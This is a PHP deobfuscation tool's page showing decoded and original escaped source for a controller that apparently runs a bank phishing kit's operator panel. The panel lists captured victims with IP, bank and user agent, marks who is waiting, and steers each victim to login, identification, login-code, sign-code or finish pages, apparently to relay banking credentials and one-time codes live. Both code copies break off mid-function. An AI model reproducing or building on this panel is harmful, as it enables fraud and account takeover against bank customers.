Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace App\Controllers\Users; use Core\View; use App\Models\Users\User; use App..
Decoded Output download
<?php
namespace App\Controllers\Users; use Core\View; use App\Models\Users\User; use App\Auth; class Logs extends \Core\Controller { public function logsAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST") { $logs = User::getLogs($_SESSION["username"]); $this->showLogs($logs); } else { View::render("Users/logs.php", array("title" => "Logs")); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } public function getOneAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["id"])) { $log = User::getLog($_POST["id"], $_SESSION["username"]); $this->showLog($log); } else { static::redirect("/logs"); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } public function deleteAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["id"])) { $data = array("id" => $_POST["id"]); $errors = array("id" => ''); if (empty($data["id"])) { $errors["id"] = "empty_id"; } if (empty($errors["id"])) { $check = User::deleteLog($_SESSION["username"], $data["id"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { echo json_encode($errors); } } else { static::redirect("/login"); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } public function deleteAllAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST") { $check = User::deleteLogs($_SESSION["username"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { static::redirect("/login"); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } public function banAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["id"]) && isset($_POST["ip"])) { $data = array("id" => $_POST["id"], "ip" => $_POST["ip"]); $errors = array("id" => '', "ip" => ''); if (empty($data["id"])) { $errors["id"] = "empty_id"; } if (empty($data["ip"])) { $errors["ip"] = "empty_ip"; } if (empty($errors["id"]) && empty($errors["ip"])) { $check = User::banUser($data["id"], $data["ip"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { echo json_encode($errors); } } else { static::redirect("/login"); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } public function setPageAction() { if (Auth::isLoggedIn()) { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["id"]) && isset($_POST["page"])) { if ($_POST["page"] == "login") { $check = Abn::setLoginPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "identification") { $check = Abn::setIdentificationPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "loginCode") { $check = Abn::setLoginCodePage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "signCode") { $check = Abn::setSignCodePageCode($_POST["id"], $_POST["page"], $_POST["code"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "finish") { $check = Abn::setFinishPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } } } } } } else { Abn::redirect(); } } else { Abn::redirect(); } } private function showLogs($logs) { foreach ($logs as $log) { $new_date = new \DateTime(); $old_date = new \DateTime($log["last_connected"]); $diff = $new_date->getTimestamp() - $old_date->getTimestamp(); $waiting = " bg-darker"; $bank = ''; if ($log["waiting"] == "true") { $waiting = " bg-blink"; } else { if ($diff < 10) { $waiting = " bg-success"; } } if (!empty($log["bank"])) { $bank = $log["bank"]; } echo "<div class="col-sm-12 col-md-6 col-lg-4">"; echo "<div class="card mb-4 bg-darker custom-card">"; echo "<a href="#" . htmlspecialchars($log["username"]) . htmlspecialchars($log["user_id"]) . "" class="d-block card-header py-3 collapsed" . $waiting . "" data-toggle="collapse" role="button" aria-expanded="false" aria-controls="collapseCardExample" style="border-bottom-color: transparent;">"; echo "<h6 class="m-0 font-weight-bold text-white"><img class="pr-3" width="40" src="/img/location.png">" . htmlspecialchars($log["ip"]); if (empty($bank)) { echo "</h6>"; } else { echo " - {$bank}</h6>"; } echo "</a>"; echo "<div class="collapse" id="" . htmlspecialchars($log["username"]) . htmlspecialchars($log["user_id"]) . "" style="">"; echo "<div class="card-body">"; echo "<div class="form-group row mb-0"><label class="col-sm-4 font-weight-bold mb-0">URL: </label><div class="col-sm-8 mb-2"><a class="text-danger" href="/pay/" . htmlspecialchars($log["url"]) . "">/" . htmlspecialchars($log["url"]) . "</a></div></div>"; echo "<div class="form-group row mb-0"><label class="col-sm-4 font-weight-bold mb-0">User ID: </label><div class="col-sm-8 mb-2">" . htmlspecialchars($log["user_id"]) . "</div></div>"; echo "<div class="form-group row mb-0"><label class="col-sm-4 font-weight-bold mb-0">User Agent: </label><div class="col-sm-8 mb-2">" . htmlspecialchars($log["user_agent"]) . "</div></div>"; echo "<hr>"; ?>
Did this file decode correctly?
Original Code
<?php
namespace App\Controllers\Users; use Core\View; use App\Models\Users\User; use App\Auth; class Logs extends \Core\Controller { public function logsAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\165\163\145\162\156\141\x6d\x65"]); if ($data) { if ($_SERVER["\x52\105\x51\125\x45\x53\124\137\115\105\124\x48\x4f\104"] == "\120\x4f\x53\124") { $logs = User::getLogs($_SESSION["\165\163\x65\x72\156\x61\x6d\145"]); $this->showLogs($logs); } else { View::render("\125\x73\145\x72\163\x2f\x6c\157\x67\x73\56\x70\x68\160", array("\164\151\164\x6c\x65" => "\x4c\157\147\163")); } } else { Auth::destroySession(); } } else { static::redirect("\57\154\157\147\x69\x6e"); } } public function getOneAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\165\x73\x65\162\x6e\x61\155\x65"]); if ($data) { if ($_SERVER["\122\x45\121\125\105\x53\x54\x5f\115\105\x54\110\117\x44"] == "\x50\117\123\x54" && isset($_POST["\x69\x64"])) { $log = User::getLog($_POST["\151\144"], $_SESSION["\x75\163\x65\x72\x6e\x61\155\145"]); $this->showLog($log); } else { static::redirect("\x2f\x6c\157\x67\x73"); } } else { Auth::destroySession(); } } else { static::redirect("\57\154\157\x67\151\x6e"); } } public function deleteAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\x75\163\x65\162\156\x61\x6d\145"]); if ($data) { if ($_SERVER["\x52\105\121\x55\105\123\x54\137\115\x45\124\x48\x4f\104"] == "\120\x4f\x53\x54" && isset($_POST["\x69\144"])) { $data = array("\x69\x64" => $_POST["\151\x64"]); $errors = array("\x69\x64" => ''); if (empty($data["\x69\144"])) { $errors["\x69\x64"] = "\x65\x6d\160\164\x79\137\151\x64"; } if (empty($errors["\151\144"])) { $check = User::deleteLog($_SESSION["\x75\163\145\x72\156\141\x6d\145"], $data["\x69\x64"]); if ($check) { echo json_encode(array("\163\x75\x63\143\x65\x73\x73" => "\x74\162\x75\145")); } else { echo json_encode(array("\x66\x61\151\x6c" => "\162\145\161\x75\145\x73\164\x5f\146\x61\151\154\x65\x64")); } } else { echo json_encode($errors); } } else { static::redirect("\x2f\154\x6f\147\151\x6e"); } } else { Auth::destroySession(); } } else { static::redirect("\57\154\x6f\147\x69\156"); } } public function deleteAllAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\x75\x73\145\x72\156\x61\155\x65"]); if ($data) { if ($_SERVER["\122\105\121\125\x45\123\x54\137\115\x45\124\x48\x4f\104"] == "\120\117\123\x54") { $check = User::deleteLogs($_SESSION["\165\x73\x65\162\156\x61\x6d\x65"]); if ($check) { echo json_encode(array("\x73\165\x63\x63\x65\163\163" => "\x74\x72\165\x65")); } else { echo json_encode(array("\x66\x61\151\x6c" => "\162\x65\161\x75\145\x73\x74\x5f\x66\141\x69\154\x65\x64")); } } else { static::redirect("\x2f\154\157\x67\151\156"); } } else { Auth::destroySession(); } } else { static::redirect("\x2f\x6c\157\147\x69\156"); } } public function banAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\165\163\145\x72\156\x61\x6d\145"]); if ($data) { if ($_SERVER["\122\x45\121\x55\105\x53\124\137\x4d\x45\x54\110\117\x44"] == "\120\117\123\124" && isset($_POST["\151\144"]) && isset($_POST["\151\x70"])) { $data = array("\151\144" => $_POST["\x69\144"], "\x69\160" => $_POST["\151\160"]); $errors = array("\x69\144" => '', "\x69\160" => ''); if (empty($data["\x69\x64"])) { $errors["\151\x64"] = "\145\x6d\160\164\x79\x5f\151\144"; } if (empty($data["\151\160"])) { $errors["\x69\160"] = "\x65\x6d\x70\164\171\137\151\x70"; } if (empty($errors["\x69\x64"]) && empty($errors["\x69\x70"])) { $check = User::banUser($data["\151\x64"], $data["\151\x70"]); if ($check) { echo json_encode(array("\163\165\x63\x63\145\163\x73" => "\164\162\165\145")); } else { echo json_encode(array("\x66\x61\x69\154" => "\162\145\x71\165\145\163\x74\137\x66\141\x69\154\145\144")); } } else { echo json_encode($errors); } } else { static::redirect("\x2f\154\157\147\151\156"); } } else { Auth::destroySession(); } } else { static::redirect("\57\154\x6f\x67\151\156"); } } public function setPageAction() { if (Auth::isLoggedIn()) { if ($_SERVER["\122\105\x51\125\105\123\124\137\x4d\x45\124\x48\117\x44"] == "\x50\x4f\123\x54" && isset($_POST["\x69\144"]) && isset($_POST["\x70\141\x67\x65"])) { if ($_POST["\x70\x61\x67\145"] == "\x6c\157\x67\x69\156") { $check = Abn::setLoginPage($_POST["\151\144"], $_POST["\160\x61\x67\145"]); if ($check) { echo json_encode(array("\163\165\143\x63\x65\x73\163" => "\164\162\165\x65")); } else { echo json_encode(array("\146\x61\x69\x6c" => "\x72\x65\161\165\145\x73\x74\137\x66\x61\151\154\x65\x64")); } } else { if ($_POST["\x70\x61\x67\145"] == "\x69\x64\x65\156\x74\151\146\151\143\141\164\x69\157\156") { $check = Abn::setIdentificationPage($_POST["\151\144"], $_POST["\160\141\x67\145"]); if ($check) { echo json_encode(array("\x73\165\143\143\x65\x73\x73" => "\164\162\x75\x65")); } else { echo json_encode(array("\x66\141\x69\x6c" => "\162\x65\161\x75\145\x73\164\137\x66\x61\x69\x6c\145\144")); } } else { if ($_POST["\x70\141\x67\145"] == "\154\157\147\151\x6e\103\x6f\x64\x65") { $check = Abn::setLoginCodePage($_POST["\151\144"], $_POST["\x70\x61\147\x65"]); if ($check) { echo json_encode(array("\163\x75\143\143\145\x73\163" => "\x74\x72\165\145")); } else { echo json_encode(array("\146\x61\x69\154" => "\x72\145\x71\x75\x65\x73\x74\137\x66\x61\151\154\x65\144")); } } else { if ($_POST["\160\x61\x67\145"] == "\x73\x69\x67\156\x43\x6f\144\x65") { $check = Abn::setSignCodePageCode($_POST["\x69\x64"], $_POST["\x70\141\x67\145"], $_POST["\143\x6f\144\145"]); if ($check) { echo json_encode(array("\x73\x75\x63\x63\145\x73\x73" => "\x74\x72\165\145")); } else { echo json_encode(array("\x66\x61\151\154" => "\x72\145\x71\x75\x65\x73\x74\137\146\141\151\154\x65\144")); } } else { if ($_POST["\x70\x61\147\145"] == "\x66\x69\156\x69\163\150") { $check = Abn::setFinishPage($_POST["\x69\144"], $_POST["\x70\141\147\145"]); if ($check) { echo json_encode(array("\x73\165\x63\143\145\163\163" => "\164\162\x75\x65")); } else { echo json_encode(array("\x66\141\151\154" => "\162\145\161\x75\145\163\x74\x5f\x66\141\151\154\x65\x64")); } } } } } } } else { Abn::redirect(); } } else { Abn::redirect(); } } private function showLogs($logs) { foreach ($logs as $log) { $new_date = new \DateTime(); $old_date = new \DateTime($log["\x6c\x61\163\x74\137\x63\157\156\x6e\x65\x63\x74\145\x64"]); $diff = $new_date->getTimestamp() - $old_date->getTimestamp(); $waiting = "\x20\x62\147\x2d\x64\x61\162\x6b\145\162"; $bank = ''; if ($log["\167\141\x69\164\151\x6e\x67"] == "\164\162\165\145") { $waiting = "\x20\142\147\55\142\154\151\x6e\x6b"; } else { if ($diff < 10) { $waiting = "\x20\142\x67\x2d\x73\165\x63\x63\x65\x73\163"; } } if (!empty($log["\142\141\156\x6b"])) { $bank = $log["\142\x61\156\x6b"]; } echo "\x3c\144\x69\166\x20\x63\x6c\x61\163\163\x3d\42\x63\x6f\x6c\55\163\155\x2d\x31\62\40\x63\x6f\154\x2d\155\x64\55\66\40\x63\157\154\55\x6c\147\x2d\x34\42\76"; echo "\x3c\x64\x69\x76\40\x63\154\x61\x73\x73\x3d\42\x63\141\x72\144\x20\155\142\55\x34\40\142\147\55\144\141\x72\x6b\x65\x72\x20\x63\x75\x73\164\x6f\155\55\x63\141\x72\144\42\x3e"; echo "\74\141\40\x68\162\145\146\x3d\42\x23" . htmlspecialchars($log["\x75\x73\x65\162\x6e\141\155\x65"]) . htmlspecialchars($log["\x75\x73\145\162\x5f\x69\x64"]) . "\42\x20\x63\154\x61\x73\x73\75\x22\144\55\142\x6c\x6f\x63\x6b\x20\143\x61\x72\x64\55\150\x65\x61\x64\145\x72\40\x70\x79\x2d\x33\40\143\x6f\x6c\x6c\141\x70\x73\x65\144" . $waiting . "\x22\40\144\x61\x74\141\55\164\157\147\147\x6c\145\75\x22\143\157\x6c\154\x61\x70\163\145\42\x20\x72\157\154\145\x3d\42\142\165\164\164\x6f\156\x22\x20\x61\162\x69\141\55\145\170\x70\x61\156\x64\145\x64\x3d\42\x66\141\154\x73\145\x22\x20\x61\162\151\141\55\143\157\x6e\x74\x72\x6f\154\x73\x3d\42\143\157\154\x6c\x61\x70\163\145\103\141\x72\x64\105\x78\141\x6d\x70\154\x65\x22\40\x73\164\171\154\x65\75\x22\142\x6f\x72\144\145\162\x2d\142\157\164\x74\x6f\155\x2d\x63\157\154\157\162\x3a\x20\x74\x72\x61\x6e\163\x70\x61\162\145\x6e\164\x3b\42\76"; echo "\74\150\66\40\143\154\141\163\163\75\42\155\55\60\x20\x66\157\156\164\55\167\145\151\147\150\x74\x2d\x62\157\x6c\144\40\x74\145\170\x74\x2d\x77\150\151\x74\x65\x22\76\x3c\x69\155\x67\40\143\154\141\x73\x73\x3d\42\160\162\x2d\x33\x22\x20\x77\x69\x64\x74\x68\75\42\x34\x30\x22\40\163\x72\x63\x3d\42\x2f\151\x6d\x67\x2f\154\x6f\x63\x61\x74\151\x6f\156\56\x70\156\147\42\76" . htmlspecialchars($log["\x69\x70"]); if (empty($bank)) { echo "\74\57\x68\x36\x3e"; } else { echo "\40\55\40{$bank}\x3c\x2f\x68\x36\76"; } echo "\x3c\x2f\x61\76"; echo "\x3c\x64\x69\x76\x20\x63\154\141\x73\x73\75\x22\x63\x6f\154\154\x61\x70\x73\145\x22\x20\x69\144\75\42" . htmlspecialchars($log["\x75\x73\x65\162\156\141\155\x65"]) . htmlspecialchars($log["\x75\x73\145\x72\x5f\151\x64"]) . "\x22\x20\x73\x74\171\x6c\145\75\x22\42\76"; echo "\x3c\x64\x69\166\40\x63\154\x61\163\x73\x3d\42\x63\141\162\144\55\x62\157\144\171\42\x3e"; echo "\74\144\x69\x76\40\x63\x6c\141\x73\x73\x3d\42\x66\157\162\x6d\x2d\x67\162\157\165\160\x20\x72\x6f\x77\x20\155\142\55\x30\x22\x3e\x3c\154\x61\x62\x65\x6c\40\143\154\141\163\x73\75\42\x63\x6f\154\x2d\x73\x6d\55\64\x20\146\157\x6e\x74\55\x77\x65\151\147\x68\x74\x2d\142\x6f\x6c\144\40\x6d\142\55\x30\x22\76\x55\122\114\72\40\74\x2f\154\x61\142\145\x6c\x3e\x3c\144\151\x76\x20\x63\x6c\141\x73\x73\75\x22\143\x6f\154\55\163\155\x2d\70\40\155\x62\55\62\42\x3e\74\x61\40\143\x6c\x61\x73\163\x3d\42\164\145\170\164\x2d\x64\x61\x6e\x67\x65\162\42\x20\150\162\x65\146\x3d\x22\x2f\160\141\171\x2f" . htmlspecialchars($log["\x75\x72\154"]) . "\42\x3e\57" . htmlspecialchars($log["\x75\162\x6c"]) . "\x3c\x2f\141\x3e\x3c\57\144\x69\166\x3e\74\57\144\151\166\x3e"; echo "\74\x64\151\x76\40\x63\154\x61\163\x73\x3d\x22\x66\157\x72\155\x2d\x67\x72\157\x75\x70\40\162\157\167\x20\155\x62\x2d\x30\42\x3e\74\x6c\x61\142\x65\x6c\40\143\x6c\141\x73\163\x3d\x22\x63\x6f\154\x2d\x73\155\55\x34\x20\146\157\156\164\x2d\167\x65\151\x67\x68\x74\x2d\142\x6f\154\x64\x20\155\142\x2d\x30\42\x3e\125\163\145\162\x20\x49\104\72\x20\74\x2f\x6c\x61\142\x65\x6c\x3e\x3c\x64\x69\166\40\x63\154\141\x73\x73\75\42\143\x6f\x6c\x2d\x73\x6d\x2d\x38\40\x6d\x62\x2d\62\42\x3e" . htmlspecialchars($log["\165\163\145\162\137\x69\144"]) . "\x3c\x2f\x64\x69\166\76\x3c\57\x64\x69\x76\76"; echo "\74\x64\151\x76\x20\143\x6c\141\x73\x73\75\42\146\x6f\162\155\55\x67\162\157\x75\x70\x20\x72\x6f\x77\x20\155\x62\55\x30\x22\x3e\74\154\141\x62\145\154\40\x63\154\x61\x73\x73\x3d\x22\x63\157\154\55\x73\x6d\55\64\x20\x66\157\x6e\164\55\167\x65\151\x67\150\x74\55\x62\x6f\154\x64\40\x6d\142\x2d\x30\x22\x3e\x55\163\x65\x72\40\101\147\x65\156\164\72\x20\x3c\57\x6c\141\142\x65\154\76\x3c\144\x69\x76\x20\143\154\x61\163\163\x3d\x22\x63\x6f\x6c\x2d\x73\x6d\55\70\40\x6d\x62\x2d\x32\42\x3e" . htmlspecialchars($log["\x75\x73\145\x72\137\141\147\x65\x6e\164"]) . "\74\57\144\151\x76\x3e\74\x2f\x64\x69\166\x3e"; echo "\74\150\162\76"; ?>
Function Calls
None |
Stats
MD5 | e306379ec7e229fcd28ddf5ac873c69a |
Eval Count | 0 |
Decode Time | 81 ms |